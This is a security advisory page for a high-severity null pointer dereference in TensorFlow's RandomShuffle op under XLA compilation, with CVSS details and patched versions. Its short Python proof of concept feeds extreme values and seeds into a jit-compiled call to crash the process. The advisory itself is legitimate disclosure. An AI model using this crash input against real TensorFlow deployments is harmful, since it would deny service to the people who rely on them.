Description
Impact
NPE in RandomShuffle with XLA enable
import tensorflow as tf
func = tf.raw_ops.RandomShuffle
para = {'value': 1e+20, 'seed': -4294967297, 'seed2': -2147483649}
@tf.function(jit_compile=True)
def test():
y = func(**para)
return y
test()
Patches
We have patched the issue in GitHub commit 728113a3be690facad6ce436660a0bc1858017fa.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by r3pwnx
Basic information
- Type
- reviewed
- Severity
- high
- Advisory on GitHub
- Open advisory ↗
- Repository advisory
- Open repository advisory ↗
- Source code
- Browse source ↗
- Published (advisory)
- 2023-03-24 21:54:31 UTC
- Updated
- 2023-03-30 22:19:30 UTC
- GitHub reviewed
- 2023-03-24 21:54:31 UTC
- NVD published
- 2023-03-24
EPSS Score
| Score |
Percentile |
|
0.39%
|
60.13% |
CVSS Scores
| Base score |
Version |
Severity |
Vector |
|
7.5
|
3.1 |
—
|
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Click to expand
- Attack vector (AV:N)
- Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
- Attack complexity (AC:L)
- Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
- Privileges required (PR:N)
- No account or special rights needed—anonymous or random user is enough.
- User interaction (UI:N)
- Nobody has to click “OK” or open a trap file; it can work without a victim helping.
- Scope (S:U)
- Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
- Confidentiality (C:N)
- Doesn’t really leak secrets in a meaningful way.
- Integrity (I:N)
- Data isn’t meaningfully altered or forged.
- Availability (A:H)
- Could take the service down hard or make it unusable for people who depend on it.
|
CWEs
| CWE id |
Name |
|
CWE-476
|
NULL Pointer Dereference |
Affected packages (3)
Vulnerable version ranges and first patched releases as published by GitHub.
| Ecosystem |
Package |
Vulnerable range |
First patched |
Vulnerable functions |
| pip |
tensorflow |
< 2.11.1 |
2.11.1 |
—
|
| pip |
tensorflow-cpu |
< 2.11.1 |
2.11.1 |
—
|
| pip |
tensorflow-gpu |
< 2.11.1 |
2.11.1 |
—
|
cvelogic
Threat Intelligence